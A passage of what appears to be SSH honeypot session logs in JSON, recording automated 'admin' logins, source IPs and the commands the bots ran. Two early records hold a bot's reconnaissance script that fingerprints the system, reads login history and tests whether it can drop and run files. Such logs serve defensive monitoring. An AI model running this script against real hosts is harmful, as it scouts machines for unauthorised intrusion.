  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:20:32.269674+00:00",
  "ended_at": "2026-08-21T10:20:32.423329+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "199f0faa-ae2d-4dc4-a98b-38ce0ee8fa04",
  "name": "bashful-hearty-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.228",
  "src_port": 46700,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-21T10:19:03.643512+00:00",
  "ended_at": "2026-08-21T10:19:03.735835+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7e81826c-b88b-486c-87ac-a50455f57866",
  "name": "wiry-verdant-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 36160,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T09:50:21.574130+00:00",
  "ended_at": "2026-08-21T09:50:23.604601+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3483543e-38fd-4ba4-a6d1-590c8874ebfd",
  "name": "stormy-wry-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 52996,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T08:42:14.795565+00:00",
  "ended_at": "2026-08-21T08:42:15.333840+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1984e3e8-fb2c-42ee-8f04-b89fe360d6a1",
  "name": "brave-amber-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 39546,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T07:43:41.392070+00:00",
  "ended_at": "2026-08-21T07:43:42.609313+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d7907f7d-d15b-4014-b3c4-4b4018305290",
  "name": "vernal-diligent-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 49122,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T06:39:56.280237+00:00",
  "ended_at": "2026-08-21T06:39:57.807369+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a3734a8a-158c-446e-8e28-31ef31585e2f",
  "name": "courtly-obsidian-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 35220,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T05:33:33.327444+00:00",
  "ended_at": "2026-08-21T05:33:33.684807+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5be58961-d6ba-4b52-9413-00829956e0e5",
  "name": "deft-regal-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57110,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T04:33:37.575314+00:00",
  "ended_at": "2026-08-21T04:33:37.942126+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38c9bd0f-ae4d-4560-9af6-0d09c7dc3add",
  "name": "northern-silent-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 43858,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T03:34:08.547519+00:00",
  "ended_at": "2026-08-21T03:34:10.416469+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "66830bf7-500b-4fe9-878d-c1da8f0a25a5",
  "name": "sooty-steady-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 46242,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T02:31:46.358733+00:00",
  "ended_at": "2026-08-21T02:31:48.145596+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33b66944-b008-4a2f-99de-c33eab84a760",
  "name": "autumn-rapid-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "104.155.51.175",
  "src_port": 12226,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T02:17:08.247406+00:00",
  "ended_at": "2026-08-21T02:17:10.935108+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5d8f3cd2-c7b3-4f1b-8116-6b253a98731b",
  "name": "bitter-granite-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 40608,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T01:19:22.822689+00:00",
  "ended_at": "2026-08-21T01:19:23.300157+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "334f5e6c-3668-4b87-bbab-35d63b203562",
  "name": "hearty-bronzed-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 55188,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-21T00:29:27.151024+00:00",
  "ended_at": "2026-08-21T00:29:28.817227+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "30580654-b82e-4337-b6f7-70972a22ba99",
  "name": "rambling-barren-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 41726,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T23:20:44.529580+00:00",
  "ended_at": "2026-08-20T23:20:44.970383+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea661101-4d3e-4ee2-8d86-e1ec7dad467a",
  "name": "velvet-hushed-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 58100,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T22:21:04.707264+00:00",
  "ended_at": "2026-08-20T22:21:06.390658+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "492ae35f-4b59-40ac-973c-3c60a6ecfcb2",
  "name": "painted-brave-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 38668,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T21:16:52.383801+00:00",
  "ended_at": "2026-08-20T21:16:54.272364+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82497fd6-ea5a-45b2-bfed-1b1a6d44ece7",
  "name": "lawful-diligent-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 56076,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T20:14:34.584402+00:00",
  "ended_at": "2026-08-20T20:14:35.893297+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "77dde413-e97b-4d2a-8d4c-590b0aa39d95",
  "name": "lunar-lawful-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 59498,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 191,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:45:27.541551+00:00",
  "ended_at": "2026-08-20T19:45:33.594714+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "9dc618e5-826e-44b7-8744-930713c64099",
  "name": "subtle-kindly-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 33268,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 173,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:45:17.266221+00:00",
  "ended_at": "2026-08-20T19:45:21.139927+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "99b052ba-d568-4a97-b104-7df660d2d7e2",
  "name": "sincere-arctic-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 40512,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 185,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:44:57.935432+00:00",
  "ended_at": "2026-08-20T19:45:01.842421+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "19a53f39-f901-4933-938b-29fe421f03f4",
  "name": "mindful-bold-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 42600,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 189,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:42:44.682790+00:00",
  "ended_at": "2026-08-20T19:42:47.892350+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "39b5f608-88df-4049-9688-7c7ff905ae9b",
  "name": "wandering-dapper-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 56750,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 187,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:41:36.501246+00:00",
  "ended_at": "2026-08-20T19:41:41.512649+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "7e8e4346-8c29-4ae6-8798-bca219cd4b2c",
  "name": "foggy-balmy-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 42854,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 194,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:37:59.727431+00:00",
  "ended_at": "2026-08-20T19:38:05.559610+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "a6cb0db2-2f91-443d-88c3-f62d9d1e033b",
  "name": "foggy-brisk-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 36822,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 180,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:34:09.377180+00:00",
  "ended_at": "2026-08-20T19:34:12.216281+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "1b22b193-b570-4809-8015-74cf4b83ba6a",
  "name": "courtly-crystal-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 42796,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 182,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:31:39.360558+00:00",
  "ended_at": "2026-08-20T19:31:44.591846+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "5479e718-b3e6-4493-ac86-3bc015131633",
  "name": "buoyant-tidal-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 51548,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:17:25.363335+00:00",
  "ended_at": "2026-08-20T19:17:29.465199+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "1cea931f-54fd-445d-a601-824a739df0cf",
  "name": "cheerful-bashful-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 56028,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:16:16.084327+00:00",
  "ended_at": "2026-08-20T19:16:20.131954+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "04a652e6-c69f-4baf-ad29-6cd6db29bd0f",
  "name": "meadow-solemn-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 50654,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 174,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:13:34.500714+00:00",
  "ended_at": "2026-08-20T19:13:39.229511+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "9dda6c11-545e-4aed-8332-df33a6514950",
  "name": "bronzed-bitter-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 51818,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 191,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:13:19.845886+00:00",
  "ended_at": "2026-08-20T19:13:25.736284+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "301e2bda-0cff-44d4-9255-fca1e5779378",
  "name": "steady-crimson-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 44330,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T19:08:36.867323+00:00",
  "ended_at": "2026-08-20T19:08:37.923790+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38bee35a-ebce-4245-8acb-5d947167c7bf",
  "name": "umber-mossy-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 49098,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 194,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:00:44.588069+00:00",
  "ended_at": "2026-08-20T19:00:49.457447+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "633c8941-574e-47e6-8526-041ee3ca3baa",
  "name": "solemn-arctic-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 33126,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 173,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T19:00:33.907612+00:00",
  "ended_at": "2026-08-20T19:00:37.289935+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "b030b45e-177d-4760-a3fd-34cc7c04992f",
  "name": "sturdy-salty-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 48300,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 174,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T18:55:05.271149+00:00",
  "ended_at": "2026-08-20T18:55:11.050065+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "a6e7bf9a-9da1-4c18-bff3-390f61b3001b",
  "name": "lawful-marbled-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 52252,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 194,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T18:45:40.890088+00:00",
  "ended_at": "2026-08-20T18:45:46.868558+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "40e51c53-3410-456c-bd35-d3237ec5fec0",
  "name": "leafy-russet-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 41660,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 181,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T18:41:57.438751+00:00",
  "ended_at": "2026-08-20T18:42:00.478078+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "86fa833f-4888-4a43-a7fb-f7ab42bdaf82",
  "name": "craggy-barren-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 49988,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 193,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T18:38:50.661954+00:00",
  "ended_at": "2026-08-20T18:38:54.094273+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "38f53740-ae6b-4cdf-9190-e27ccc1ce1be",
  "name": "balmy-ancient-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 40030,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 189,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T18:34:00.482949+00:00",
  "ended_at": "2026-08-20T18:34:03.395295+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "92378838-eb4d-4252-bb97-5212e5f617ba",
  "name": "woven-umber-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 52708,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 183,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
